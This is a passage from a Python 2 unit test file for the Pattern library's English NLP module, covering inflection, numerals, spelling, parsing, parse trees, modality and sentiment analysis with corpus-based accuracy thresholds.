"imaginerify", "imaginerifies", "imaginerifying", "imaginerified"
])
print("pattern.en.inflect.lexeme()")
def test_tenses(self):
# Assert tense recognition.
self.assertTrue((en.inflect.PRESENT, 1, en.inflect.SINGULAR) in en.inflect.tenses("am"))
self.assertTrue("1sg" in en.inflect.tenses("am"))
self.assertTrue("1sg" in en.inflect.tenses("will"))
self.assertTrue("2sg-" in en.inflect.tenses("won't"))
self.assertTrue("part" in en.inflect.tenses("imaginarifying"))
print("pattern.en.inflect.tenses()")
def test_comparative(self):
# Assert "nice" => "nicer".
self.assertEqual(en.inflect.comparative("nice"), "nicer")
print("pattern.en.inflect.comparative()")
def test_superlative(self):
# Assert "nice" => "nicest"
self.assertEqual(en.inflect.superlative("nice"), "nicest")
# Assert "important" => "most important"
self.assertEqual(en.inflect.superlative("important"), "most important")
print("pattern.en.inflect.superlative()")
#---------------------------------------------------------------------------------------------------
class TestQuantification(unittest.TestCase):
def setUp(self):
pass
def test_extract_leading_zeros(self):
# Assert "zero zero one" => ("one", 2).
from pattern.text.en.inflect_quantify import zshift
v = zshift("zero zero one")
self.assertEqual(v, ("one", 2))
v = zshift("0 0 one")
self.assertEqual(v, ("one", 2))
print("pattern.en.quantify._extract_leading_zeros()")
def test_numerals(self):
# Assert number to numerals.
for x, s in (
( 1.5, "one point five"),
( 15, "fifteen"),
( 150, "one hundred and fifty"),
( 151, "one hundred and fifty-one"),
( 1510, "one thousand five hundred and ten"),
( 15101, "fifteen thousand one hundred and one"),
( 150101, "one hundred and fifty thousand one hundred and one"),
(1500101, "one million, five hundred thousand one hundred and one")):
self.assertEqual(en.numerals(x), s)
print("pattern.en.numerals()")
def test_number(self):
# Assert numeric string = actual number (after rounding).
for i in range(100):
x = random.random()
y = en.number(en.numerals(x, round=10))
self.assertAlmostEqual(x, y, places=10)
print("pattern.en.number()")
def test_quantify(self):
# Assert quantification algorithm.
for a, s in (
( 2 * ["carrot"], "a pair of carrots"),
( 4 * ["carrot"], "several carrots"),
( 9 * ["carrot"], "a number of carrots"),
( 19 * ["carrot"], "a score of carrots"),
( 23 * ["carrot"], "dozens of carrots"),
( 201 * ["carrot"], "hundreds of carrots"),
(1001 * ["carrot"], "thousands of carrots"),
({"carrot": 4, "parrot": 2}, "several carrots and a pair of parrots")):
self.assertEqual(en.quantify(a), s)
print("pattern.en.quantify()")
def test_reflect(self):
self.assertEqual(en.reflect(""), "a string")
self.assertEqual(en.reflect(["","",""]), "several strings")
self.assertEqual(en.reflect(en.reflect), "a function")
print("pattern.en.reflect()")
#---------------------------------------------------------------------------------------------------
class TestSpelling(unittest.TestCase):
def test_spelling(self):
# Assert case-sensitivity + numbers.
for a, b in (
( ".", "." ),
( "?", "?" ),
( "!", "!" ),
( "I", "I" ),
( "a", "a" ),
( "42", "42" ),
("3.14", "3.14"),
( "The", "The" ),
( "the", "the" )):
self.assertEqual(en.suggest(a)[0][0], b)
# Assert spelling suggestion accuracy.
# Note: simply training on more text will not improve accuracy.
i = j = 0.0
from pattern.db import Datasheet
for correct, wrong in Datasheet.load(os.path.join(PATH, "corpora", "spelling-birkbeck.csv")):
for w in wrong.split(" "):
if en.suggest(w)[0][0] == correct:
i += 1
else:
j += 1
self.assertTrue(i / (i+j) > 0.70)
print("pattern.en.suggest()")
#---------------------------------------------------------------------------------------------------
class TestParser(unittest.TestCase):
def setUp(self):
pass
def test_tokenize(self):
# Assert list with two sentences.
# The tokenizer should at least handle common abbreviations and punctuation.
v = en.tokenize("The cat is eating (e.g., a fish). Yum!")
self.assertEqual(v, ["The cat is eating ( e.g. , a fish ) .", "Yum !"])
print("pattern.en.tokenize()")
def _test_morphological_rules(self, function=en.parser.morphology.apply):
""" For each word in WordNet that is not in Brill's lexicon,
test if the given tagger((word, "NN")) yields an improved (word, tag).
Returns the relative scores for nouns, verbs, adjectives and adverbs.
"""
scores = []
for tag, lexicon in (
("NN", en.wordnet.NOUNS),
("VB", en.wordnet.VERBS),
("JJ", en.wordnet.ADJECTIVES),
("RB", en.wordnet.ADVERBS)):
i, n = 0, 0
for word in lexicon:
word = word.form
if word not in en.lexicon:
if function([word, "NN"])[1].startswith(tag):
i += 1
n += 1
scores.append(float(i) / n)
return scores
def test_default_suffix_rules(self):
# Assert part-of-speech tag for unknown tokens.
for a, b in (
(["eating", "NN"], ["eating", "VBG"]),
(["tigers", "NN"], ["tigers", "NNS"]),
(["really", "NN"], ["really", "RB"]),
(["foolish", "NN"], ["foolish", "JJ"])):
self.assertEqual(text._suffix_rules(a), b)
# Test with words in WordNet that are not in Brill's lexicon.
# Given are the scores for detection of nouns, verbs, adjectives and adverbs.
# The baseline should increase (not decrease) when the algorithm is modified.
v = self._test_morphological_rules(function=text._suffix_rules)
self.assertTrue(v[0] > 0.91) # NN
self.assertTrue(v[1] > 0.23) # VB
self.assertTrue(v[2] > 0.38) # JJ
self.assertTrue(v[3] > 0.60) # RB
print("pattern.text._suffix_rules()")
def test_apply_morphological_rules(self):
# Assert part-of-speech tag for unknown tokens (Brill's lexical rules).
v = self._test_morphological_rules(function=en.parser.morphology.apply)
self.assertTrue(v[0] > 0.85) # NN
self.assertTrue(v[1] > 0.19) # VB
self.assertTrue(v[2] > 0.65) # JJ
self.assertTrue(v[3] > 0.59) # RB
print("pattern.en.parser.morphology.apply()")
def test_apply_context_rules(self):
# Assert part-of-speech tags based on word context.
for a, b in ( # Rule:
([["", "JJ"], ["", "JJ"], ["", ","]], [["", "JJ"], ["", "NN"], ["", ","]]), # SURROUNDTAG
([["", "NNP"], ["", "RB"]], [["", "NNP"], ["", "NNP"]]), # PREVTAG
([["", "NN"], ["", "PRP$"]], [["", "VB"], ["", "PRP$"]]), # NEXTTAG
([["phone", ""], ["", "VBZ"]], [["phone", ""], ["", "NNS"]]), # PREVWD
([["", "VB"], ["countries", ""]], [["", "JJ"], ["countries", ""]]), # NEXTWD
([["close", "VB"], ["to", ""]], [["close", "RB"], ["to", ""]]), # RBIGRAM
([["very", ""], ["much", "JJ"]], [["very", ""], ["much", "RB"]]), # LBIGRAM
([["such", "JJ"], ["as", "DT"]], [["such", "JJ"], ["as", "IN"]]), # WDNEXTWD
([["be", "VB"]], [["be", "VB"]])): # CURWD
self.assertEqual(en.parser.context.apply(a), b)
print("pattern.en.parser.context.apply()")
def test_find_tags(self):
# Assert part-of-speech-tag annotation.
v = en.parser.find_tags(["black", "cat"])
self.assertEqual(v, [["black", "JJ"], ["cat", "NN"]])
self.assertEqual(en.parser.find_tags(["felix"])[0][1], "NN")
self.assertEqual(en.parser.find_tags(["Felix"])[0][1], "NNP")
print("pattern.en.parser.find_tags()")
def test_find_chunks(self):
# Assert chunk tag annotation.
v = en.parser.find_chunks([["black", "JJ"], ["cat", "NN"]])
self.assertEqual(v, [["black", "JJ", "B-NP", "O"], ["cat", "NN", "I-NP", "O"]])
# Assert the accuracy of the chunker.
# For example, in "The very black cat must be really meowing really loud in the yard.":
# - "The very black" (NP)
# - "must be really meowing" (VP)
# - "really loud" (ADJP)
# - "in" (PP)
# - "the yard" (NP)
v = en.parser.find_chunks([
["","DT"], ["","RB"], ["","JJ"], ["","NN"],
["","MD"], ["","RB"], ["","VBZ"], ["","VBG"],
["","RB"], ["","JJ"],
["","IN"],
["","CD"], ["","NNS"]
])
self.assertEqual(v, [
["", "DT", "B-NP", "O"], ["", "RB", "I-NP", "O"], ["", "JJ", "I-NP", "O"], ["", "NN", "I-NP", "O"],
["", "MD", "B-VP", "O"], ["", "RB", "I-VP", "O"], ["", "VBZ", "I-VP", "O"], ["", "VBG", "I-VP", "O"],
["", "RB", "B-ADJP", "O"], ["", "JJ", "I-ADJP", "O"],
["", "IN", "B-PP", "B-PNP"],
["", "CD", "B-NP", "I-PNP"], ["", "NNS", "I-NP", "I-PNP"]])
# Assert commas inside chunks.
# - "the big, black cat"
v = en.parser.find_chunks([
["", "DT"], ["", "JJ"], ["", ","], ["", "JJ"], ["", "NN"]
])
self.assertEqual(v, [
["", "DT", "B-NP", "O"],
["", "JJ", "I-NP", "O"],
["", ",", "I-NP", "O"],
["", "JJ", "I-NP", "O"],
["", "NN", "I-NP", "O"]
])
# - "big, black and furry"
v = en.parser.find_chunks([
["", "JJ"], ["", ","], ["", "JJ"], ["", "CC"], ["", "JJ"]
])
self.assertEqual(v, [
["", "JJ", "B-ADJP", "O"],
["", ",", "I-ADJP", "O"],
["", "JJ", "I-ADJP", "O"],
["", "CC", "I-ADJP", "O"],
["", "JJ", "I-ADJP", "O"]
])
# - big, and very black (= two chunks "big" and "very black")
v = en.parser.find_chunks([
["", "JJ"], ["", ","], ["", "CC"], ["", "RB"], ["", "JJ"]
])
self.assertEqual(v, [
["", "JJ", "B-ADJP", "O"],
["", ",", "O", "O"],
["", "CC", "O", "O"],
["", "RB", "B-ADJP", "O"],
["", "JJ", "I-ADJP", "O"]
])
# Assert cases for which we have written special rules.
# - "perhaps you" (ADVP + NP)
v = en.parser.find_chunks([["","RB"], ["","PRP"]])
self.assertEqual(v, [["","RB","B-ADVP", "O"], ["","PRP","B-NP", "O"]])
# - "very nice cats" (NP)
v = en.parser.find_chunks([["","RB"], ["","JJ"], ["","PRP"]])
self.assertEqual(v, [["","RB","B-NP", "O"], ["","JJ","I-NP", "O"], ["","PRP","I-NP", "O"]])
print("pattern.en.parser.find_chunks()")
def test_find_labels(self):
# Assert relation tag annotation (SBJ/OBJ).
v = en.parser.find_labels([
["", "", "NP"], ["", "", "NP"],
["", "", "VP"], ["", "", "VP"],
["", "", "NP"]])
self.assertEqual(v, [
["", "", "NP", "NP-SBJ-1"], ["", "", "NP", "NP-SBJ-1"],
["", "", "VP", "VP-1"], ["", "", "VP", "VP-1"],
["", "", "NP", "NP-OBJ-1"]])
print("pattern.en.parser.find_labels()")
def test_find_prepositions(self):
# Assert preposition tag annotation (PP + NP).
v = en.parser.find_prepositions([
["", "", "NP"],
["", "", "VP"],
["", "", "PP"],
["", "", "NP"],
["", "", "NP"],])
self.assertEqual(v, [
["", "", "NP", "O"],
["", "", "VP", "O"],
["", "", "PP", "B-PNP"],
["", "", "NP", "I-PNP"],
["", "", "NP", "I-PNP"]])
# Assert PNP's with consecutive PP's.
v = en.parse("The cat was looking at me from up on the roof with interest.", prepositions=True)
self.assertEqual(v,
"The/DT/B-NP/O cat/NN/I-NP/O " \
"was/VBD/B-VP/O looking/VBG/I-VP/O " \
"at/IN/B-PP/B-PNP me/PRP/B-NP/I-PNP " \
"from/IN/B-PP/B-PNP up/IN/I-PP/I-PNP on/IN/I-PP/I-PNP the/DT/B-NP/I-PNP roof/NN/I-NP/I-PNP " \
"with/IN/B-PP/B-PNP interest/NN/B-NP/I-PNP " \
"././O/O"
)
print("pattern.en.parser.find_prepositions()")
def test_find_lemmata(self):
# Assert lemmata for nouns and verbs.
v = en.parser.find_lemmata([["cats", "NNS"], ["wearing", "VBG"], ["hats", "NNS"]])
self.assertEqual(v, [
["cats", "NNS", "cat"],
["wearing", "VBG", "wear"],
["hats", "NNS", "hat"]])
print("pattern.en.parser.find_lemmata()")
def test_named_entity_recognition(self):
# Assert named entities.
v = en.parser.parse("Arnold Schwarzenegger is cool.", chunks=False)
self.assertEqual(v,
"Arnold/NNP-PERS Schwarzenegger/NNP-PERS is/VBZ cool/JJ ./."
)
print("pattern.en.parser.entities.apply()")
def test_parse(self):
# Assert parsed output with Penn Treebank II tags (slash-formatted).
# 1) "the black cat" is a noun phrase, "on the mat" is a prepositional noun phrase.
v = en.parser.parse("The black cat sat on the mat.")
self.assertEqual(v,
"The/DT/B-NP/O black/JJ/I-NP/O cat/NN/I-NP/O " + \
"sat/VBD/B-VP/O " + \
"on/IN/B-PP/B-PNP the/DT/B-NP/I-PNP mat/NN/I-NP/I-PNP ././O/O"
)
# 2) "the black cat" is the subject, "a fish" is the object.
v = en.parser.parse("The black cat is eating a fish.", relations=True)
self.assertEqual(v,
"The/DT/B-NP/O/NP-SBJ-1 black/JJ/I-NP/O/NP-SBJ-1 cat/NN/I-NP/O/NP-SBJ-1 " + \
"is/VBZ/B-VP/O/VP-1 eating/VBG/I-VP/O/VP-1 " + \
"a/DT/B-NP/O/NP-OBJ-1 fish/NN/I-NP/O/NP-OBJ-1 ././O/O/O"
)
# 3) "chasing" and "mice" lemmata are "chase" and "mouse".
v = en.parser.parse("The black cat is chasing mice.", lemmata=True)
self.assertEqual(v,
"The/DT/B-NP/O/the black/JJ/I-NP/O/black cat/NN/I-NP/O/cat " + \
"is/VBZ/B-VP/O/be chasing/VBG/I-VP/O/chase " + \
"mice/NNS/B-NP/O/mouse ././O/O/."
)
# 4) Assert unicode.
self.assertTrue(isinstance(v, unicode))
# 5) Assert unicode for faulty input (bytestring with unicode characters).
self.assertTrue(isinstance(en.parse("ø ü"), unicode))
self.assertTrue(isinstance(en.parse("ø ü", tokenize=True, tags=False, chunks=False), unicode))
self.assertTrue(isinstance(en.parse("ø ü", tokenize=False, tags=False, chunks=False), unicode))
self.assertTrue(isinstance(en.parse("o u", encoding="ascii"), unicode))
# 6) Assert optional parameters (i.e., setting all to False).
self.assertEqual(en.parse("ø ü.", tokenize=True, tags=False, chunks=False), u"ø ü .")
self.assertEqual(en.parse("ø ü.", tokenize=False, tags=False, chunks=False), u"ø ü.")
# 7) Assert the accuracy of the English tagger.
i, n = 0, 0
for corpus, a in (("tagged-en-wsj.txt", (0.968, 0.945)), ("tagged-en-oanc.txt", (0.929, 0.932))):
for sentence in open(os.path.join(PATH, "corpora", corpus)).readlines():
sentence = sentence.decode("utf-8").strip()
s1 = [w.split("/") for w in sentence.split(" ")]
s2 = [[w for w, pos in s1]]
s2 = en.parse(s2, tokenize=False)
s2 = [w.split("/") for w in s2.split(" ")]
for j in range(len(s1)):
if s1[j][1] == s2[j][1].split("-")[0]:
i += 1
n += 1
#print(corpus, float(i) / n)
self.assertTrue(float(i) / n > (en.parser.model and a[0] or a[1]))
print("pattern.en.parse()")
def test_tagged_string(self):
# Assert splitable TaggedString with language and tags properties.
v = en.parser.parse("The black cat sat on the mat.", relations=True, lemmata=True)
self.assertEqual(v.language, "en")
self.assertEqual(v.tags,
["word", "part-of-speech", "chunk", "preposition", "relation", "lemma"])
self.assertEqual(v.split(text.TOKENS)[0][0],
["The", "DT", "B-NP", "O", "NP-SBJ-1", "the"])
print("pattern.en.parse().split()")
def test_parsetree(self):
# Assert parsetree(s) == Text.
v = en.parsetree("The cat purs.")
self.assertTrue(isinstance(v, en.Text))
print("pattern.en.parsetree()")
def test_split(self):
# Assert split(parse(s)) == Text.
v = en.split(en.parse("The cat purs."))
self.assertTrue(isinstance(v, en.Text))
print("pattern.en.split()")
def test_tag(self):
# Assert [("black", "JJ"), ("cats", "NNS")].
v = en.tag("black cats")
self.assertEqual(v, [("black", "JJ"), ("cats", "NNS")])
v = en.tag("")
self.assertEqual(v, [])
print("pattern.en.tag()")
def test_ngrams(self):
# Assert n-grams with and without punctuation marks / sentence marks.
s = "The cat is napping."
v1 = en.ngrams(s, n=2)
v2 = en.ngrams(s, n=3, punctuation=en.PUNCTUATION.strip("."))
self.assertEqual(v1, [("The", "cat"), ("cat", "is"), ("is", "napping")])
self.assertEqual(v2, [("The", "cat", "is"), ("cat", "is", "napping"), ("is", "napping", ".")])
s = "The cat purrs. The dog barks."
v1 = en.ngrams(s, n=2)
v2 = en.ngrams(s, n=2, continuous=True)
self.assertEqual(v1, [("The", "cat"), ("cat", "purrs"), ("The", "dog"), ("dog", "barks")])
self.assertEqual(v2, [("The", "cat"), ("cat", "purrs"), ("purrs", "The"), ("The", "dog"), ("dog", "barks")])
print("pattern.en.ngrams()")
def test_command_line(self):
# Assert parsed output from the command-line (example from the documentation).
p = ["python", "-m", "pattern.en", "-s", "Nice cat.", "-OTCRL"]
p = subprocess.Popen(p, stdout=subprocess.PIPE)
p.wait()
v = p.stdout.read()
v = v.strip()
self.assertEqual(v, "Nice/JJ/B-NP/O/O/nice cat/NN/I-NP/O/O/cat ././O/O/O/.")
print("python -m pattern.en")
#---------------------------------------------------------------------------------------------------
class TestParseTree(unittest.TestCase):
def setUp(self):
# Parse sentences to test on.
# Creating a Text creates Sentence, Chunk, PNP and Word.
# Creating a Sentence tests Sentence.append() and Sentence.parse_token().
self.text = "I'm eating pizza with a fork. What a tasty pizza!"
self.text = en.Text(en.parse(self.text, relations=True, lemmata=True))
def test_copy(self):
# Assert deepcopy of Text, Sentence, Chunk, PNP and Word.
self.text = self.text.copy()
print("pattern.en.Text.copy()")
def test_xml(self):
# Assert XML export and import.
self.text = en.Text.from_xml(self.text.xml)
print("pattern.en.Text.xml")
print("pattern.en.Text.from_xml()")
def test_text(self):
# Assert Text.
self.assertEqual(self.text.sentences[0].string, "I 'm eating pizza with a fork .")
self.assertEqual(self.text.sentences[1].string, "What a tasty pizza !")
print("pattern.en.Text")
def test_sentence(self):
# Assert Sentence.
v = self.text[0]
self.assertTrue(v.start == 0)
self.assertTrue(v.stop == 8)
self.assertTrue(v.string == "I 'm eating pizza with a fork .")
self.assertTrue(v.subjects == [self.text[0].chunks[0]])
self.assertTrue(v.verbs == [self.text[0].chunks[1]])
self.assertTrue(v.objects == [self.text[0].chunks[2]])
self.assertTrue(v.nouns == [self.text[0].words[3], self.text[0].words[6]])
# Sentence.string must be unicode.
self.assertTrue(isinstance(v.string, unicode) == True)
self.assertTrue(isinstance(unicode(v), unicode) == True)
self.assertTrue(isinstance(str(v), str) == True)
print("pattern.en.Sentence")
def test_sentence_constituents(self):
# Assert in-order list of Chunk, PNP and Word.
v = self.text[0].constituents(pnp=True)
self.assertEqual(v, [
self.text[0].chunks[0],
self.text[0].chunks[1],
self.text[0].chunks[2],
self.text[0].pnp[0],
self.text[0].words[7],
])
print("pattern.en.Sentence.constituents()")
def test_slice(self):
# Assert sentence slice.
v = self.text[0].slice(start=4, stop=6)
self.assertTrue(v.parent == self.text[0])
self.assertTrue(v.string == "with a")
# Assert sentence slice tag integrity.
self.assertTrue(v.words[0].type == "IN")
self.assertTrue(v.words[1].chunk == None)
print("pattern.en.Slice")
def test_chunk(self):
# Assert chunk with multiple words ("a fork").
v = self.text[0].chunks[4]
self.assertTrue(v.start == 5)
self.assertTrue(v.stop == 7)
self.assertTrue(v.string == "a fork")
self.assertTrue(v.lemmata == ["a", "fork"])
self.assertTrue(v.words == [self.text[0].words[5], self.text[0].words[6]])
self.assertTrue(v.head == self.text[0].words[6])
self.assertTrue(v.type == "NP")
self.assertTrue(v.role == None)
self.assertTrue(v.pnp != None)
# Assert chunk that is subject/object of the sentence ("pizza").
v = self.text[0].chunks[2]
self.assertTrue(v.role == "OBJ")
self.assertTrue(v.relation == 1)
self.assertTrue(v.related == [self.text[0].chunks[0], self.text[0].chunks[1]])
self.assertTrue(v.subject == self.text[0].chunks[0])
self.assertTrue(v.verb == self.text[0].chunks[1])
self.assertTrue(v.object == None)
# Assert chunk traversal.
self.assertEqual(v.nearest("VP"), self.text[0].chunks[1])
self.assertEqual(v.previous(), self.text[0].chunks[1])
self.assertEqual(v.next(), self.text[0].chunks[3])
print("pattern.en.Chunk")
def test_chunk_conjunctions(self):
# Assert list of conjunct/disjunct chunks ("black cat" AND "white cat").
v = en.Sentence(en.parse("black cat and white cat"))
self.assertEqual(v.chunk[0].conjunctions, [(v.chunk[1], en.AND)])
print("pattern.en.Chunk.conjunctions()")
def test_chunk_modifiers(self):
# Assert list of nearby adjectives and adverbs with no role, for VP.
v = en.Sentence(en.parse("Perhaps you should go."))
self.assertEqual(v.chunk[2].modifiers, [v.chunk[0]]) # should <=> perhaps
print("pattern.en.Chunk.modifiers")
def test_pnp(self):
# Assert PNP chunk ("with a fork").
v = self.text[0].pnp[0]
self.assertTrue(v.string == "with a fork")
self.assertTrue(v.chunks == [self.text[0].chunks[3], self.text[0].chunks[4]])
self.assertTrue(v.pp == self.text[0].chunks[3])
print("pattern.en.PNP")
def test_word(self):
# Assert word tags ("fork" => NN).
v = self.text[0].words[6]
self.assertTrue(v.index == 6)
self.assertTrue(v.string == "fork")
self.assertTrue(v.lemma == "fork")
self.assertTrue(v.type == "NN")
self.assertTrue(v.chunk == self.text[0].chunks[4])
self.assertTrue(v.pnp != None)
for i, tags in enumerate([
["I", "PRP", "B-NP", "O", "NP-SBJ-1", "i"],
["'m", "VBP", "B-VP", "O", "VP-1", "be"],
["eating", "VBG", "I-VP", "O", "VP-1", "eat"],
["pizza", "NN", "B-NP", "O", "NP-OBJ-1", "pizza"],
["with", "IN", "B-PP", "B-PNP", "O", "with"],
["a", "DT", "B-NP", "I-PNP", "O", "a"],
["fork", "NN", "I-NP", "I-PNP", "O", "fork"],
[".", ".", "O", "O", "O", "."]]):
self.assertEqual(self.text[0].words[i].tags, tags)
print("pattern.en.Word")
def test_word_custom_tags(self):
# Assert word custom tags ("word/part-of-speech/.../some-custom-tag").
s = en.Sentence("onion/NN/FOOD", token=[en.WORD, en.POS, "semantic_type"])
v = s.words[0]
self.assertEqual(v.semantic_type, "FOOD")
self.assertEqual(v.custom_tags["semantic_type"], "FOOD")
self.assertEqual(v.copy().custom_tags["semantic_type"], "FOOD")
# Assert addition of new custom tags.
v.custom_tags["taste"] = "pungent"
self.assertEqual(s.token, [en.WORD, en.POS, "semantic_type", "taste"])
print("pattern.en.Word.custom_tags")
def test_find(self):
# Assert first item for which given function is True.
v = text.tree.find(lambda x: x>10, [1,2,3,11,12])
self.assertEqual(v, 11)
print("pattern.text.tree.find()")
def test_zip(self):
# Assert list of zipped tuples, using default to balance uneven lists.
v = text.tree.zip([1,2,3], [4,5,6,7], default=0)
self.assertEqual(v, [(1,4), (2,5), (3,6), (0,7)])
print("pattern.text.tree.zip()")
def test_unzip(self):
v = text.tree.unzip(1, [(1,4), (2,5), (3,6)])
self.assertEqual(v, [4,5,6])
print("pattern.text.tree.unzip()")
def test_unique(self):
# Assert list copy with unique items.
v = text.tree.unique([1,1,1])
self.assertEqual(len(v), 1)
self.assertEqual(v[0], 1)
print("pattern.text.tree.unique()")
def test_map(self):
# Assert dynamic Map().
v = text.tree.Map(lambda x: x+1, [1,2,3])
self.assertEqual(list(v), [2,3,4])
self.assertEqual(v.items[0], 1)
print("pattern.text.tree.Map()")
#---------------------------------------------------------------------------------------------------
class TestModality(unittest.TestCase):
def setUp(self):
pass
def test_imperative(self):
# Assert True for sentences that are orders, commands, warnings.
from pattern.text.en.modality import imperative
for b, s in (
(True, "Do your homework!"),
(True, "Do not listen to me."),
(True, "Turn that off, will you."),
(True, "Let's help him."),
(True, "Help me!"),
(True, "You will help me."),
(False, "Do it if you think it is necessary."),
(False, "I hope you will help me."),
(False, "I can help you."),
(False, "I can help you if you let me.")):
self.assertEqual(imperative(en.Sentence(en.parse(s))), b)
print("pattern.en.modality.imperative()")
def test_conditional(self):
# Assert True for sentences that contain possible or imaginary situations.
from pattern.text.en.modality import conditional
for b, s in (
(True, "We ought to help him."),
(True, "We could help him."),
(True, "I will help you."),
(True, "I hope you will help me."),
(True, "I can help you if you let me."),
(False, "You will help me."),
(False, "I can help you.")):
self.assertEqual(conditional(en.Sentence(en.parse(s))), b)
# Assert predictive mood.
s = "I will help you."
v = conditional(en.Sentence(en.parse(s)), predictive=False)
self.assertEqual(v, False)
# Assert speculative mood.
s = "I will help you if you pay me."
v = conditional(en.Sentence(en.parse(s)), predictive=False)
self.assertEqual(v, True)
print("pattern.en.modality.conditional()")
def test_subjunctive(self):
# Assert True for sentences that contain wishes, judgments or opinions.
from pattern.text.en.modality import subjunctive
for b, s in (
(True, "I wouldn't do that if I were you."),
(True, "I wish I knew."),
(True, "I propose that you be on time."),
(True, "It is a bad idea to be late."),
(False, "I will be late.")):
self.assertEqual(subjunctive(en.Sentence(en.parse(s))), b)
print("pattern.en.modality.subjunctive()")
def test_negated(self):
# Assert True for sentences that contain "not", "n't" or "never".
for b, s in (
(True, "Not true?"),
(True, "Never true."),
(True, "Isn't true."),):
self.assertEqual(en.negated(en.Sentence(en.parse(s))), b)
print("pattern.en.negated()")
def test_mood(self):
# Assert imperative mood.
v = en.mood(en.Sentence(en.parse("Do your homework!")))
self.assertEqual(v, en.IMPERATIVE)
# Assert conditional mood.
v = en.mood(en.Sentence(en.parse("We ought to help him.")))
self.assertEqual(v, en.CONDITIONAL)
# Assert subjunctive mood.
v = en.mood(en.Sentence(en.parse("I wouldn't do that if I were you.")))
self.assertEqual(v, en.SUBJUNCTIVE)
# Assert indicative mood.
v = en.mood(en.Sentence(en.parse("The weather is nice today.")))
self.assertEqual(v, en.INDICATIVE)
print("pattern.en.mood()")
def test_modality(self):
# Assert -1.0 => +1.0 representing the degree of certainty.
v = en.modality(en.Sentence(en.parse("I wish it would stop raining.")))
self.assertTrue(v < 0)
v = en.modality(en.Sentence(en.parse("It will surely stop raining soon.")))
self.assertTrue(v > 0)
# Assert the accuracy of the modality algorithm.
# Given are the scores for the CoNLL-2010 Shared Task 1 Wikipedia uncertainty data:
# http://www.inf.u-szeged.hu/rgai/conll2010st/tasks.html#task1
# The baseline should increase (not decrease) when the algorithm is modified.
from pattern.db import Datasheet
from pattern.metrics import test
sentences = []
for certain, sentence in Datasheet.load(os.path.join(PATH, "corpora", "uncertainty-conll2010.csv")):
sentence = en.parse(sentence, chunks=False, light=True)
sentence = en.Sentence(sentence)
sentences.append((sentence, int(certain) > 0))
A, P, R, F = test(lambda sentence: en.modality(sentence) > 0.5, sentences)
#print(A, P, R, F)
self.assertTrue(A > 0.69)
self.assertTrue(P > 0.72)
self.assertTrue(R > 0.64)
self.assertTrue(F > 0.68)
print("pattern.en.modality()")
#---------------------------------------------------------------------------------------------------
class TestSentiment(unittest.TestCase):
def setUp(self):
pass
def test_sentiment_avg(self):
# Assert 2.5.
from pattern.text import avg
v = avg([1,2,3,4])
self.assertEqual(v, 2.5)
print("pattern.text.avg")
def test_sentiment(self):
# Assert < 0 for negative adjectives and > 0 for positive adjectives.
self.assertTrue(en.sentiment("wonderful")[0] > 0)
self.assertTrue(en.sentiment("horrible")[0] < 0)
self.assertTrue(en.sentiment(en.wordnet.synsets("horrible", pos="JJ")[0])[0] < 0)
self.assertTrue(en.sentiment(en.Text(en.parse("A bad book. Really horrible.")))[0] < 0)
# Assert that :) and :( are recognized.
self.assertTrue(en.sentiment(":)")[0] > 0)
self.assertTrue(en.sentiment(":(")[0] < 0)
# Assert the accuracy of the sentiment analysis (for the positive class).
# Given are the scores for Pang & Lee's polarity dataset v2.0:
# http://www.cs.cornell.edu/people/pabo/movie-review-data/
# The baseline should increase (not decrease) when the algorithm is modified.
from pattern.db import Datasheet
from pattern.metrics import test
reviews = []
for score, review in Datasheet.load(os.path.join(PATH, "corpora", "polarity-en-pang&lee1.csv")):
reviews.append((review, int(score) > 0))
from time import time
t = time()
A, P, R, F = test(lambda review: en.positive(review), reviews)
#print(A, P, R, F)
self.assertTrue(A > 0.754)
self.assertTrue(P > 0.773)
self.assertTrue(R > 0.719)
self.assertTrue(F > 0.745)
# Assert the accuracy of the sentiment analysis on short text (for the positive class).
# Given are the scores for Pang & Lee's sentence polarity dataset v1.0:
# http://www.cs.cornell.edu/people/pabo/movie-review-data/
reviews = []
for score, review in Datasheet.load(os.path.join(PATH, "corpora", "polarity-en-pang&lee2.csv")):
reviews.append((review, int(score) > 0))
A, P, R, F = test(lambda review: en.positive(review), reviews)
#print(A, P, R, F)
self.assertTrue(A > 0.654)
self.assertTrue(P > 0.660)
self.assertTrue(R > 0.636)
self.assertTrue(F > 0.648)
print("pattern.en.sentiment()")
def test_sentiment_twitter(self):
sanders = os.path.join(PATH, "corpora", "polarity-en-sanders.csv")
if os.path.exists(sanders):
# Assert the accuracy of the sentiment analysis on tweets.
# Given are the scores for Sanders Twitter Sentiment Corpus:
# http://www.sananalytics.com/lab/twitter-sentiment/
# Positive + neutral is taken as polarity >= 0.0,
# Negative is taken as polarity < 0.0.
# Since there are a lot of neutral cases,
# and the algorithm predicts 0.0 by default (i.e., majority class) the results are good.
# Distinguishing negative from neutral from positive is a much harder task
from pattern.db import Datasheet
from pattern.metrics import test
reviews = []
for i, id, date, tweet, polarity, topic in Datasheet.load(sanders):
if polarity != "irrelevant":
reviews.append((tweet, polarity in ("positive", "neutral")))
A, P, R, F = test(lambda review: en.positive(review, threshold=0.0), reviews)
#print(A, P, R, F)
self.assertTrue(A > 0.824)
self.assertTrue(P > 0.879)
self.assertTrue(R > 0.911)
self.assertTrue(F > 0.895)
def test_sentiment_assessment(self):
# Assert that en.sentiment() has a fine-grained "assessments" property.
v = en.sentiment("A warm and pleasant day.").assessments
self.assertTrue(v[1][0][0] == "pleasant")
self.assertTrue(v[1][1] > 0)
print("pattern.en.sentiment().assessments")
def test_polarity(self):
# Assert that en.polarity() yields en.sentiment()[0].
s = "A great day!"
self.assertTrue(en.polarity(s) == en.sentiment(s)[0])
print("pattern.en.polarity()")
def test_subjectivity(self):
# Assert that en.subjectivity() yields en.sentiment()[1].
s = "A great day!"
self.assertTrue(en.subjectivity(s) == en.sentiment(s)[1])
print("pattern.en.subjectivity()")
def test_positive(self):
# Assert that en.positive() yields polarity >= 0.1.
s = "A great day!"
self.assertTrue(en.positive(s))
print("pattern.en.subjectivity()")
def test_sentiwordnet(self):
# Assert < 0 for negative words and > 0 for positive words.
try:
from pattern.text.en.wordnet import SentiWordNet
lexicon = SentiWordNet()
lexicon.load()
except ImportError, e:
# SentiWordNet data file is not installed in default location, stop test.
print(e)
return
self.assertTrue(lexicon["wonderful"][0] > 0)
self.assertTrue(lexicon["horrible"][0] < 0)
print("pattern.en.sentiment.SentiWordNet")
#---------------------------------------------------------------------------------------------------
class TestWordNet(unittest.TestCase):
def setUp(self):
pass
def test_normalize(self):
# Assert normalization of simple diacritics (WordNet does not store diacritics).
